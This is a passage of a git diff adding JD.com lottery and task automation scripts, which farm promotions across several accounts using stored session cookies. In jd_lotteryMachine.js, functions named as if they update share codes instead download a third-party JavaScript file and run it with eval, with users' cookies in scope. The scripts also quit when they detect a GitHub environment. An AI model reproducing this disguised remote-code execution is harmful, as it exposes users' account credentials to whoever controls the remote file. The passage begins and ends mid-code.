i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_lotteryMachine.js b/jd_lotteryMachine.js new file mode 100644 index 0000000..ebab2ed --- /dev/null +++ b/jd_lotteryMachine.js @@ -0,0 +1,274 @@ +/* +京东抽奖机 https://raw.githubusercontent.com/yangtingxiao/QuantumultX/master/scripts/jd/jd_lotteryMachine.js +author:yangtingxiao +github: https://github.com/yangtingxiao +活动入口:京东APP中各种抽奖活动的汇总 + +修改自用 By xxx +更新时间:2021-05-25 8:50 + */ +const $ = new Env('京东抽奖机&内部互助'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = ''; +Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) +}) +if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); + +const appIdArr = ['1EFRRxA','1EFRQwA','1EFRYxQ','1EFRXxg','1EFVRwA','1EFVRxw','1EFRZwA','1EFRZwQ','1EFRYwA','1EFVRxg','1EFVRxQ'] +const homeDataFunPrefixArr = ['interact_template','interact_template','harmony_template','','','','','','','','','','','','','','','interact_template','interact_template'] +const collectScoreFunPrefixArr = ['','','','','','','','','','','','','','','','','','interact_template','interact_template'] + +$.allShareId = {}; +main(); +async function main() { + await help();//先账号内部互助 + await updateShareCodes(); + if (!$.body) await updateShareCodesCDN(); + if ($.body) { + eval($.body); + } + $.http.get({url: `https://purge.jsdelivr.net/gh/yangtingxiao/QuantumultX@master/scripts/jd/jd_lotteryMachine.js`}).then((resp) => { + if (resp.statusCode === 200) { + let { body } = resp; + body = JSON.parse(body); + if (body['success']) { + console.log(`jd_lotteryMachine.js文件 CDN刷新成功`) + } else { + console.log(`jd_lotteryMachine.js文件 CDN刷新失败`) + } + } + }).catch((err) => console.log(`更新jd_lotteryMachine.js文件 CDN异常`, err)); +} +async function help() { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + console.log(`\n\n当前共有${appIdArr.length}个抽奖机活动\n\n`); + for (let j in appIdArr) { + $.invites = []; + $.appId = appIdArr[j]; + $.appIndex = parseInt(j) + 1; + homeDataFunPrefix = homeDataFunPrefixArr[j] || 'healthyDay'; + console.log(`\n第${parseInt(j) + 1}个抽奖活动【${$.appId}】`) + console.log(`functionId:${homeDataFunPrefix}_getHomeData`); + $.acHelpFlag = true;//该活动是否需要助力,true需要,false 不需要 + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n***************开始京东账号${i + 1} ${$.UserName}***************`) + await interact_template_getHomeData(); + } + if (i === 0 && !$.acHelpFlag) { + console.log(`\n第${parseInt(j) + 1}个抽奖活动【${$.appId}】,不需要助力`); + break; + } + } + if ($.invites.length > 0) { + $.allShareId[appIdArr[j]] = $.invites; + } + } + // console.log('$.allShareId', JSON.stringify($.allShareId)) + if (!cookiesArr || cookiesArr.length < 2) return + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.index = i + 1; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + for (let oneAppId in $.allShareId) { + let oneAcHelpList = $.allShareId[oneAppId]; + for (let j = 0; j < oneAcHelpList.length; j++) { + $.item = oneAcHelpList[j]; + if ($.UserName === $.item['userName']) continue; + if (!$.item['taskToken'] && !$.item['taskId'] || $.item['max']) continue + console.log(`账号${i + 1} ${$.UserName} 去助力账号 ${$.item['userName']}的第${$.item['index']}个抽奖活动【${$.item['appId']}】,邀请码 【${$.item['taskToken']}】`) + $.canHelp = true; + collectScoreFunPrefix = collectScoreFunPrefixArr[$.item['index'] - 1] || 'harmony' + await harmony_collectScore(); + if (!$.canHelp) { + // console.log(`跳出`); + break;//此处如果break,则遇到第一个活动就无助力机会时,不会继续助力第二个活动了 + } + } + } + } +} +function interact_template_getHomeData(timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://api.m.jd.com/client.action`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body: `functionId=${homeDataFunPrefix}_getHomeData&body={"appId":"${$.appId}","taskToken":""}&client=wh5&clientVersion=1.0.0` + } + + $.post(url, async (err, resp, data) => { + try { + let invitesFlag = false; + data = JSON.parse(data); + if (data['code'] === 0) { + if (data.data && data.data.bizCode === 0) { + for (let item of data.data.result.taskVos) { + if ([14, 6].includes(item.taskType)) { + console.log(`邀请码:${item.assistTaskDetailVo.taskToken}`) + console.log(`邀请好友助力:${item.times}/${item['maxTimes']}\n`); + if (item.assistTaskDetailVo.taskToken && item.taskId && item.times !== item['maxTimes']) { + $.invites.push({ + taskToken: item.assistTaskDetailVo.taskToken, + taskId: item.taskId, + userName: $.UserName, + appId: $.appId, + index: $.appIndex, + max: false + }) + } + invitesFlag = true;//该活动存在助力码 + } + } + if (!invitesFlag) { + $.acHelpFlag = false; + } + } else { + console.log(`获取抽奖活动数据失败:${data.data.bizMsg}`); + $.invites.push({ + taskToken: null, + taskId: null, + userName: $.UserName, + appId: $.appId, + index: $.appIndex + }) + } + } else { + console.log(`获取抽奖活动数据异常:${JSON.stringify(data)}`) + $.invites.push({ + taskToken: null, + taskId: null, + userName: $.UserName, + appId: $.appId, + index: $.appIndex + }) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//做任务 +function harmony_collectScore(timeout = 0) { + // console.log(`助力 ${taskToken}`) + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://api.m.jd.com/client.action`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Referer": `https://h5.m.jd.com/babelDiy/Zeus/ahMDcVkuPyTd2zSBmWC11aMvb51/index.html?inviteId=${$.item['taskToken']}`, + "User-Agent": "jdapp;iPhone;9.4.6;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/B28DA848-0DA0-4AAA-AE7E-A6F55695C590;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167618;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + }, + body: `functionId=${collectScoreFunPrefix}_collectScore&body={"appId": "${$.appId}","taskToken":"${$.item['taskToken']}","taskId":${$.item['taskId']},"actionType": 0}&client=wh5&clientVersion=1.0.0` + } + $.post(url, async (err, resp, data) => { + try { + // console.log(data) + data = JSON.parse(data); + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + console.log(`助力结果:${data.data.bizMsg}🎉\n`); + } else { + if (data['data']['bizCode'] === 108) $.canHelp = false; + if (data['data']['bizCode'] === 103) $.item['max'] = true; + console.log(`助力失败:${data.data.bizMsg}\n`); + } + } else { + console.log(`助力异常:${JSON.stringify(data)}\n`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }, timeout) + }) +} + +function updateShareCodes(url = 'https://raw.githubusercontent.com/yangtingxiao/QuantumultX/master/scripts/jd/jd_lotteryMachine.js') { + return new Promise(resolve => { + const options = { + url: `${url}?${Date.now()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`请求访问 【raw.githubusercontent.com】 的jd_lotteryMachine.js文件失败:${JSON.stringify(err)}\n\n下面使用 【cdn.jsdelivr.net】请求访问jd_lotteryMachine.js文件`) + } else { + $.body = data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function updateShareCodesCDN(url = 'https://cdn.jsdelivr.net/gh/yangtingxiao/QuantumultX@master/scripts/jd/jd_lotteryMachine.js') { + return new Promise(async resolve => { + $.get({url: `${url}?${Date.now()}`, timeout: 10000}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.body = data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(3000) + resolve(); + }) +} + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_market_lottery.js b/jd_market_lottery.js new file mode 100644 index 0000000..6945b2a --- /dev/null +++ b/jd_market_lottery.js @@ -0,0 +1,188 @@ +// author: 疯疯 +/* +幸运大转盘 +活动地址:https://pro.m.jd.com/mall/active/3ryu78eKuLyY5YipWWVSeRQEpLQP/index.html +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +==============Quantumult X============== +[task_local] +#幸运大转盘 +4 10 * * * jd_market_lottery.js, tag=幸运大转盘, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +==============Loon============== +[Script] +cron "4 10 * * *" script-path=jd_market_lottery.js,tag=幸运大转盘 + +================Surge=============== +幸运大转盘 = type=cron,cronexp="4 10 * * *",wake-system=1,timeout=3600,script-path=jd_market_lottery.js + +===============小火箭========== +幸运大转盘 = type=cron,script-path=jd_market_lottery.js, cronexpr="4 10 * * *", timeout=3600, enable=true +*/ + +const $ = new Env("幸运大转盘"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +let cookiesArr = [], + cookie = "", + allMsg = ''; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + console.log(`如果出现提示 ?.data. 错误,请升级nodejs版本(进入容器后,apk add nodejs-current)`) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/client.action"; +!(async () => { + if (!cookiesArr[0]) { + $.msg( + $.name, + "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", + "https://bean.m.jd.com/", + {"open-url": "https://bean.m.jd.com/"} + ); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + ); + $.index = i + 1; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await main() + } + } + await showMsg() +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); +function showMsg() { + return new Promise(async resolve => { + if (allMsg) $.msg($.name, '', allMsg); + resolve(); + }) +} +async function main() { + await getInfo('https://pro.m.jd.com/mall/active/3ryu78eKuLyY5YipWWVSeRQEpLQP/index.html') + await getInfo('https://pro.m.jd.com/mall/active/3ryu78eKuLyY5YipWWVSeRQEpLQP/index.html') +} +async function getInfo(url) { + return new Promise(resolve=>{ + $.get({ + url, + headers:{ + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + },async (err,resp,data)=>{ + try{ + if(err){ + + }else{ + data = $.toObj(data.match(/window.__react_data__ = (\{.*\})/)[1]) + let taskList = data?.activityData?.floorList?.filter(vo=>vo.template==='score_task')[0] + //console.log(data?.activityData?.floorList) + for(let vo of taskList['taskItemList']){ + for(let i = vo.joinTimes; i< vo.taskLimit;++i){ + console.log(`去完成${vo?.flexibleData?.taskName ?? vo.enAwardK}任务,第${i+1}次`) + await doTask(vo.enAwardK) + await $.wait(500) + } + } + let lottery = data?.activityData?.floorList?.filter(vo=>vo.template==='choujiang_wheel')[0] + //console.log(lottery) + const {userScore,lotteryScore} = lottery.lotteryGuaGuaLe + if(lotteryScore<=userScore) { + console.log(`抽奖需要${lotteryScore},当前${userScore}分,去抽奖`) + await doLottery("a84f9428da0bb36a6a11884c54300582") + } else { + console.log(`当前积分已不足去抽奖`) + } + } + }catch (e) { + + }finally { + resolve() + } + + }) + }) +} +function doTask(enAwardK) { + return new Promise(resolve => { + $.post(taskUrl('babelDoScoreTask',{enAwardK,"isQueryResult":0,"siteClient":"apple","mitemAddrId":"","geo":{"lng":"","lat":""},"addressId":"","posLng":"","posLat":"","homeLng":"","homeLat":"","focus":"","innerAnchor":"","cv":"2.0"}), + (err,resp,data)=>{ + try{ + if(err){ + + }else{ + data = $.toObj(data) + console.log(data.promptMsg) + } + }catch (e) { + + }finally { + resolve() + } + }) + }) +} +function 